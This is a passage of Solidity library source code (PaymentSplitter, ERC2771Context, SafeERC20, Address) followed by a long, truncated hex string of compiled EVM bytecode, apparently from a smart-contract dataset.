uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) internal {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Context variant with ERC2771 support.
*/
abstract contract ERC2771Context is Context {
address private _trustedForwarder;
constructor(address trustedForwarder) {
_trustedForwarder = trustedForwarder;
}
function isTrustedForwarder(address forwarder) public view virtual returns (bool) {
return forwarder == _trustedForwarder;
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// The assembly code is more direct than the Solidity version using `abi.decode`.
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return super._msgSender();
}
}
function _msgData() internal view virtual override returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
} else {
return super._msgData();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 0x60806040523480156200001157600080fd5b5060043610620000b25760003560e01c806342f1e8791162000081578063a217fddf1162000063578063a217fddf146200015d578063ca282cb31462000167578063d547741f146200018d57620000b2565b806342f1e879146200013c57806391d14854146200014657620000b2565b806301ffc9a714620000b7578063248a9ca314620000e65780632f2ff15d146200010c57806336568abe1462000125575b600080fd5b620000ce620000c8366004620008ae565b620001a4565b604051620000dd919062000b00565b60405180910390f35b620000fd620000f736600462000867565b620001d4565b604051620000dd919062000b0b565b620001236200011d36600462000880565b620001e9565b005b620001236200013636600462000880565b6200021a565b620000fd62000270565b620000ce6200015736600462000880565b62000294565b620000fd620002bd565b6200017e62000178366004620008d8565b620002c2565b604051620000dd919062000ab5565b620001236200019e36600462000880565b6200041f565b60006001600160e01b03198216637965db0b60e01b1480620001cc5750620001cc8262000445565b90505b919050565b60009081526020819052604090206001015490565b620001f482620001d4565b6200020981620002036200045e565b62000462565b620002158383620004d1565b505050565b620002246200045e565b6001600160a01b0316816001600160a01b031614620002605760405162461bcd60e51b8152600401620002579062000c38565b60405180910390fd5b6200026c82826200055b565b5050565b7fc2979137d1774e40fe2638d355bf7a7b092be4c67f242aad1655e1e27f9df9cc81565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b600081565b600080620002cf6200045e565b9050620002fd7fc2979137d1774e40fe2638d355bf7a7b092be4c67f242aad1655e1e27f9df9cc8262000294565b6200031c5760405162461bcd60e51b8152600401620002579062000b5e565b600060405180602001620003309062000841565b601f1982820381018352601f909101166040819052620003599084908890889060200162000ac9565b60408051601f1981840301815290829052620003799291602001620009fd565b60405160208183030381529060405290506000828688604051602001620003a393929190620009cf565b604051602081830303815290604052805190602001209050620003c960008284620005e3565b9350836001600160a01b0316866001600160a01b0316846001600160a01b03167f42b7c3bcb4f81bdee60d3f586a6843ee1571f21e8bf0480af04e2c6418465b4760405160405180910390a45050509392505050565b6200042a82620001d4565b6200043981620002036200045e565b6200021583836200055b565b6001600160e01b031981166301ffc9a760e01b14919050565b3390565b6200046e828262000294565b6200026c5762000489816001600160a01b0316601462000666565b6200049683602062000666565b604051602001620004a992919062000a30565b60408051601f198184030181529082905262461bcd60e51b8252620002579160040162000b14565b620004dd828262000294565b6200026c576000828152602081815260408083206001600160a01b03851684529091529020805460ff19166001179055620005176200045e565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b62000567828262000294565b156200026c576000828152602081815260408083206001600160a01b03851684529091529020805460ff191690556200059f6200045e565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b60008084471015620006095760405162461bcd60e51b8152600401620002579062000c01565b82516200062a5760405162461bcd60e51b8152600401620002579062000b95565b8383516020850187f590506001600160a01b0381166200065e5760405162461bcd60e51b8152600401620002579062000bca565b949350505050565b606060006200067783600262000cb0565b6200068490600262000c95565b67ffffffffffffffff811115620006ab57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015620006d6576020820181803683370190505b509050600360fc1b816000815181106200070057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b816001815181106200073e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060006200076484600262000cb0565b6200077190600162000c95565b90505b600181111562000818577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110620007c257634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110620007e757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93620008108162000d05565b905062000774565b5083156200083a5760405162461bcd60e51b8152600401620002579062000b29565b9392505050565b61259f8062000d4c83390190565b80356001600160a01b0381168114620001cf57600080fd5b60006020828403121562000879578081fd5b5035919050565b6000806040838503121562000893578081fd5b82359150620008a5602084016200084f565b90509250929050565b600060208284031215620008c0578081fd5b81356001600160e01b0319811681146200083a578182fd5b600080600060608486031215620008ed578081fd5b833592506020620009008186016200084f565b9250604085013567ffffffffffffffff808211156200091d578384fd5b818701915087601f83011262000931578384fd5b81358181111562000946576200094662000d35565b604051601f8201601f19168101850183811182821017156200096c576200096c62000d35565b60405281815283820185018a101562000983578586fd5b81858501868301378585838301015280955050505050509250925092565b60008151808452620009bb81602086016020860162000cd2565b601f01601f19169290920160200192915050565b6bffffffffffffffffffffffff19606094851b811682529290931b9091166014830152602882015260480190565b6000835162000a1181846020880162000cd2565b83519083019062000a2781836020880162000cd2565b01949350505050565b60007f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008252835162000a6a81601785016020880162000cd2565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000601791840191820152835162000aa981602884016020880162000cd2565b01602801949350505050565b6001600160a01b0391909116815260200190565b60006001600160a01b0380861683528085166020840152506060604083015262000af76060830184620009a1565b95945050505050565b901515815260200190565b90815260200190565b6000602082526200083a6020830184620009a1565b6020808252818101527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604082015260600190565b60208082526010908201527f696e76616c696420726567697374727900000000000000000000000000000000604082015260600190565b6020808252818101527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604082015260600190565b60208082526019908201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604082015260600190565b6020808252601d908201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604082015260600190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201527f20726f6c657320666f722073656c660000000000000000000000000000000000606082015260800190565b6000821982111562000cab5762000cab62000d1f565b500190565b600081600019048311821515161562000ccd5762000ccd62000d1f565b500290565b60005b8381101562000cef57818101518382015260200162000cd5565b8381111562000cff576000848401525b50505050565b60008162000d175762000d1762000d1f565b506000190190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfe60806040523480156200001157600080fd5b506040516200259f3803806200259f8339810160408190526200003491620002dd565b8051620000499060089060208401906200021a565b50600580546001600160a01b0385166001600160a01b03199182161790915560068054909116301790556200008060008362000089565b50505062000427565b620000a08282620000cc60201b620011781760201c565b6000828152600160209081526040909120620000c791839062001186620000dc821b17901c565b505050565b620000d88282620000fc565b5050565b6000620000f3836001600160a01b03841662000186565b90505b92915050565b620001088282620001d5565b620000d8576000828152602081815260408083206001600160a01b03851684529091529020805460ff1916600117905562000142620001fe565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b600062000194838362000202565b620001cc57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155620000f6565b506000620000f6565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b3390565b60009081526001919091016020526040902054151590565b8280546200022890620003d4565b90600052602060002090601f0160209004810192826200024c576000855562000297565b82601f106200026757805160ff191683800117855562000297565b8280016001018555821562000297579182015b82811115620002975782518255916020019190600101906200027a565b50620002a5929150620002a9565b5090565b5b80821115620002a55760008155600101620002aa565b80516001600160a01b0381168114620002d857600080fd5b919050565b600080600060608486031215620002f2578283fd5b620002fd84620002c0565b925060206200030e818601620002c0565b60408601519093506001600160401b03808211156200032b578384fd5b818701915087601f8301126200033f578384fd5b81518181111562000354576200035462000411565b604051601f8201601f19168101850183811182821017156200037a576200037a62000411565b60405281815283820185018a101562000391578586fd5b8592505b81831015620003b4578383018501518184018601529184019162000395565b81831115620003c557858583830101525b80955050505050509250925092565b600281046001821680620003e957607f821691505b602082108114156200040b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b61216880620004376000396000f3fe6080604052600436106101995760003560e01c8063938e3d7b116100e1578063b9998a241161008a578063d547741f11610064578063d547741f14610491578063e8a3d485146104b1578063f2aab4b3146104d3578063fd967f47146104f3576101d9565b8063b9998a2414610431578063c097b1fb14610451578063ca15c87314610471576101d9565b8063a217fddf116100bb578063a217fddf146103cf578063aca84175146103e4578063b0b6cc1a14610411576101d9565b8063938e3d7b1461037a57806396362d321461039a578063a0042526146103ba576101d9565b80633b98a7df116101435780637b1039991161011d5780637b103999146103255780639010d07c1461033a57806391d148541461035a576101d9565b80633b98a7df146102c55780633fff7bf8146102e55780634d81888514610305576101d9565b8063248a9ca311610174578063248a9ca3146102585780632f2ff15d1461028557806336568abe146102a5576101d9565b80620fa9fb146101de57806301ffc9a71461020057806305e9ca9b14610236576101d9565b366101d9577f1e57e3bb474320be3d2c77138f75b7c3941292d647f5f9634e33a8e94e0e069b33346040516101cf929190611cd2565b60405180910390a1005b600080fd5b3480156101ea57600080fd5b506101fe6101f9366004611a6c565b610515565b005b34801561020c57600080fd5b5061022061021b366004611b5e565b6109fe565b60405161022d9190611d38565b60405180910390f35b34801561024257600080fd5b5061024b610a2b565b60405161022d9190611c9a565b34801561026457600080fd5b50610278610273366004611b01565b610a3a565b60405161022d9190611d43565b34801561029157600080fd5b506101fe6102a0366004611b19565b610a4f565b3480156102b157600080fd5b506101fe6102c0366004611b19565b610a76565b3480156102d157600080fd5b506101fe6102e0366004611a34565b610a98565b3480156102f157600080fd5b50610278610300366004611b01565b610b3f565b34801561031157600080fd5b506101fe610320366004611aa4565b610b51565b34801561033157600080fd5b5061024b610c0b565b34801561034657600080fd5b5061024b610355366004611b3d565b610c1a565b34801561036657600080fd5b50610220610375366004611b19565b610c3b565b34801561038657600080fd5b506101fe610395366004611b86565b610c64565b3480156103a657600080fd5b506102786103b5366004611ab6565b610c97565b3480156103c657600080fd5b5061024b610d7d565b3480156103db57600080fd5b50610278610e2e565b3480156103f057600080fd5b506104046103ff366004611b01565b610e33565b60405161022d9190611ceb565b34801561041d57600080fd5b5061024b61042c366004611b01565b610f3e565b34801561043d57600080fd5b506101fe61044c366004611a34565b610f59565b34801561045d57600080fd5b506101fe61046c366004611b19565b610fd6565b34801561047d57600080fd5b5061027861048c366004611b01565b61108a565b34801561049d57600080fd5b506101fe6104ac366004611b19565b6110a1565b3480156104bd57600080fd5b506104c66110ab565b60405161022d9190611d4c565b3480156104df57600080fd5b5061024b6104ee366004611a34565b61113d565b3480156104ff57600080fd5b50610508611172565b60405161022d9190612020565b610520600033610c3b565b6105455760405162461bcd60e51b815260040161053c90611db4565b60405180910390fd5b600554604080516361d027b360e01b815290516001600160a01b0390921691839160009184916361d027b3916004808301926020929190829003018186803b15801561059057600080fd5b505afa1580156105a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c89190611a50565b90506000806001600160a01b0386166105e2575047610661565b6040516370a0823160e01b81526001600160a01b038516906370a082319061060e903090600401611c9a565b60206040518083038186803b15801561062657600080fd5b505afa15801561063a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065e9190611bf3565b90505b604051630e78de6f60e31b8152612710906001600160a01b038716906373c6f37890610691903090600401611c9a565b60206040518083038186803b1580156106a957600080fd5b505afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e19190611bf3565b6106eb9083612075565b6106f59190612055565b91506107018282612094565b90506001600160a01b03861661085d576000876001600160a01b03168260405161072a90610e2b565b60006040518083038185875af1925050503d8060008114610767576040519150601f19603f3d011682016040523d82523d6000602084013e61076c565b606091505b505090508061078d5760405162461bcd60e51b815260040161053c90611f8c565b6000846001600160a01b0316846040516107a690610e2b565b60006040518083038185875af1925050503d80600081146107e3576040519150601f19603f3d011682016040523d82523d6000602084013e6107e8565b606091505b50509050806108095760405162461bcd60e51b815260040161053c90611e11565b876001600160a01b0316896001600160a01b03167f080a49aa43b33f2f3fe14496cbedde2305f0cc484e98afb78e943cf9881adc8a858760405161084e929190611c8c565b60405180910390a350506109f5565b836001600160a01b03166323b872dd61087461119b565b89846040518463ffffffff1660e01b815260040161089493929190611cae565b602060405180830381600087803b1580156108ae57600080fd5b505af11580156108c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e69190611ae1565b6109025760405162461bcd60e51b815260040161053c90611ef8565b836001600160a01b03166323b872dd61091961119b565b85856040518463ffffffff1660e01b815260040161093993929190611cae565b602060405180830381600087803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b9190611ae1565b6109a75760405162461bcd60e51b815260040161053c90611e55565b856001600160a01b0316876001600160a01b03167f080a49aa43b33f2f3fe14496cbedde2305f0cc484e98afb78e943cf9881adc8a83856040516109ec929190611c8c565b60405180910390a35b50505050505050565b60006001600160e01b03198216635a05180f60e01b1480610a235750610a238261119f565b90505b919050565b6006546001600160a01b031681565b60009081526020819052604090206001015490565b610a5982826111c4565b6000828152600160205260409020610a719082611186565b505050565b610a8082826111e8565b6000828152600160205260409020610a71908261122a565b610aa3600033610c3b565b610abf5760405162461bcd60e51b815260040161053c90611db4565b610ac88161123f565b610ae45760405162461bcd60e51b815260040161053c90611f2f565b600680546001600160a01b0319166001600160a01b03831617905560405160009030907f55a6d5ecee94ad7f72b42efa05adae50807422b98f5c511cf7f0a0205b65b75190610b34908590611c9a565b60405180910390a350565b60036020526000908152604090205481565b610b5c600033610c3b565b610b785760405162461bcd60e51b815260040161053c90611db4565b610b818161123f565b610b9d5760405162461bcd60e51b815260040161053c90611f2f565b6001600160a01b038281166000818152600460205260409081902080546001600160a01b03191693851693909317909255905130907f55a6d5ecee94ad7f72b42efa05adae50807422b98f5c511cf7f0a0205b65b75190610bff908590611c9a565b60405180910390a35050565b6005546001600160a01b031681565b6000828152600160205260408120610c329083611466565b90505b92915050565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b610c6f600033610c3b565b610c8b5760405162461bcd60e51b815260040161053c90611db4565b610a716008838361199b565b6000610ca38133610c3b565b610cbf5760405162461bcd60e51b815260040161053c90611db4565b600082815260036020908152604091829020549151610ce19291859101611c8c565b6040516020818303038152906040528051906020012090506001600360008481526020019081526020016000206000828254610d1d919061203d565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0387169081179091559051909183917ff0d0fe9ecd941ad0096a6b95e0998ddcd76ba6a240a106fef284fc2d4f0caa419190a392915050565b6007546000906001600160a01b0316610e1d57600560009054906101000a90046001600160a01b03166001600160a01b031663f645d4f96040518163ffffffff1660e01b815260040160206040518083038186803b158015610dde57600080fd5b505afa158015610df2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e169190611a50565b9050610e2b565b506007546001600160a01b03165b90565b600081565b6000818152600360205260409020546060908067ffffffffffffffff811115610e6c57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610e95578160200160208202803683370190505b50915060005b81811015610f375760008185604051602001610eb8929190611c8c565b60408051601f1981840301815291815281516020928301206000818152600290935291205485519192506001600160a01b031690859084908110610f0c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039092166020928302919091019091015250610f3060018261203d565b9050610e9b565b5050919050565b6002602052600090815260409020546001600160a01b031681565b610f64600033610c3b565b610f805760405162461bcd60e51b815260040161053c90611db4565b600780546001600160a01b0319166001600160a01b0383161790556040517f9d90a82ec1d038d4e13317a0eb136f9c65b7ed42156fc204ec4b7c4731e7395090610fcb908390611c9a565b60405180910390a150565b610fe1600033610c3b565b610ffd5760405162461bcd60e51b815260040161053c90611db4565b6000828152600260205260409020546001600160a01b03166110315760405162461bcd60e51b815260040161053c90611e9b565b60008281526002602052604080822080546001600160a01b0319166001600160a01b0385169081179091559051909184917ff0d0fe9ecd941ad0096a6b95e0998ddcd76ba6a240a106fef284fc2d4f0caa419190a35050565b6000818152600160205260408120610a2390611472565b610a80828261147d565b6060600880546110ba906120f2565b80601f01602080910402602001604051908101604052809291908181526020018280546110e6906120f2565b80156111335780601f1061110857610100808354040283529160200191611133565b820191906000526020600020905b81548152906001019060200180831161111657829003601f168201915b5050505050905090565b6001600160a01b0380821660009081526004602052604081205490911680610a235750506006546001600160a01b0316610a26565b61271081565b611182828261149c565b5050565b6000610c32836001600160a01b038416611521565b3390565b60006001600160e01b03198216637965db0b60e01b1480610a235750610a238261156b565b6111cd82610a3a565b6111de816111d961119b565b611584565b610a71838361149c565b6111f061119b565b6001600160a01b0316816001600160a01b0316146112205760405162461bcd60e51b815260040161053c90611fc3565b61118282826115e8565b6000610c32836001600160a01b03841661166b565b600554604080516361d027b360e01b8152905160009284926001600160a01b0391821692859285169163ce7c2ac29185916361d027b3916004808301926020929190829003018186803b15801561129557600080fd5b505afa1580156112a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112cd9190611a50565b6040518263ffffffff1660e01b81526004016112e99190611c9a565b60206040518083038186803b15801561130157600080fd5b505afa158015611315573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113399190611bf3565b90506000836001600160a01b0316633a98ef396040518163ffffffff1660e01b815260040160206040518083038186803b15801561137657600080fd5b505afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae9190611bf3565b90506000816113bf61271085612075565b6113c99190612055565b604051630e78de6f60e31b8152909150600a9081906001600160a01b038716906373c6f378906113fd903090600401611c9a565b60206040518083038186803b15801561141557600080fd5b505afa158015611429573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144d9190611bf3565b6114579190612094565b90911015979650505050505050565b6000610c328383611788565b6000610a23826117c0565b61148682610a3a565b611492816111d961119b565b610a7183836115e8565b6114a68282610c3b565b611182576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556114dd61119b565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b600061152d83836117c4565b61156357508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610c35565b506000610c35565b6001600160e01b031981166301ffc9a760e01b14919050565b61158e8282610c3b565b611182576115a6816001600160a01b031660146117dc565b6115b18360206117dc565b6040516020016115c2929190611c0b565b60408051601f198184030181529082905262461bcd60e51b825261053c91600401611d4c565b6115f28282610c3b565b15611182576000828152602081815260408083206001600160a01b03851684529091529020805460ff1916905561162761119b565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b6000818152600183016020526040812054801561177e57600061168f600183612094565b85549091506000906116a390600190612094565b90508181146117245760008660000182815481106116d157634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508087600001848154811061170257634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b855486908061174357634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610c35565b6000915050610c35565b60008260000182815481106117ad57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b5490565b60009081526001919091016020526040902054151590565b606060006117eb836002612075565b6117f690600261203d565b67ffffffffffffffff81111561181c57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611846576020820181803683370190505b509050600360fc1b8160008151811061186f57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b816001815181106118ac57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060006118d0846002612075565b6118db90600161203d565b90505b600181111561197c577f303132333435363738396162636465660000000000000000000000000000000085600f166010811061192a57634e487b7160e01b600052603260045260246000fd5b1a60f81b82828151811061194e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93611975816120db565b90506118de565b508315610c325760405162461bcd60e51b815260040161053c90611d7f565b8280546119a7906120f2565b90600052602060002090601f0160209004810192826119c95760008555611a0f565b82601f106119e25782800160ff19823516178555611a0f565b82800160010185558215611a0f579182015b82811115611a0f5782358255916020019190600101906119f4565b50611a1b929150611a1f565b5090565b5b80821115611a1b5760008155600101611a20565b600060208284031215611a45578081fd5b8135610c3281612143565b600060208284031215611a61578081fd5b8151610c3281612143565b60008060408385031215611a7e578081fd5b8235611a8981612143565b91506020830135611a9981612143565b809150509250929050565b60008060408385031215611a7e578182fd5b60008060408385031215611ac8578182fd5b8235611ad381612143565b946020939093013593505050565b600060208284031215611af2578081fd5b81518015158114610c32578182fd5b600060208284031215611b12578081fd5b5035919050565b60008060408385031215611b2b578182fd5b823591506020830135611a9981612143565b60008060408385031215611b4f578182fd5b50508035926020909101359150565b600060208284031215611b6f578081fd5b81356001600160e01b031981168114610c32578182fd5b60008060208385031215611b